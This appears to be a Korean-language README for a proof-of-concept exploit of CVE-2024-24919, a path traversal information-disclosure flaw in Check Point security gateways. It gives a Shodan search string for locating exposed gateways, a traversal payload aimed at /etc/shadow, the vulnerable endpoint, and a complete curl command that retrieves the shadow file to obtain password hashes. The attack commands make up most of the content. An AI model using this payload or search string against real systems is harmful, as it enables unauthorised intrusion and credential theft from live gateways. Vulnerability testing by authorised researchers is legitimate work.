CVE-2024-24919_POC

CVE-2024-24919-POC에 대한 개념 증명(Proof of Concept)입니다. 발견된 후에 제가 만들었습니다.

CVE-2024-24919 Checkpoint 보안 게이트웨이 정보 노출 취약점입니다. 에서 Notion-CVE-2024-24919_POC를 통해 확인할 수 있습니다.

Shodan dork:

title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

Payload

aCSHELL/../../../../../../../etc/shadow

• 경로 💡 https://Host/clients/MyCRL > Host를 원래 IP로 바꾸세요.

터미널 명령어

curl을 사용하여 shadow 파일을 가져와 패스워드를 획득합니다.

curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'

자세한 정보가 필요하면 먼저 notion을 방문하세요.

더 많은 분석 글 보기 Notion-Link-Write-ups

연락하기 여기를 클릭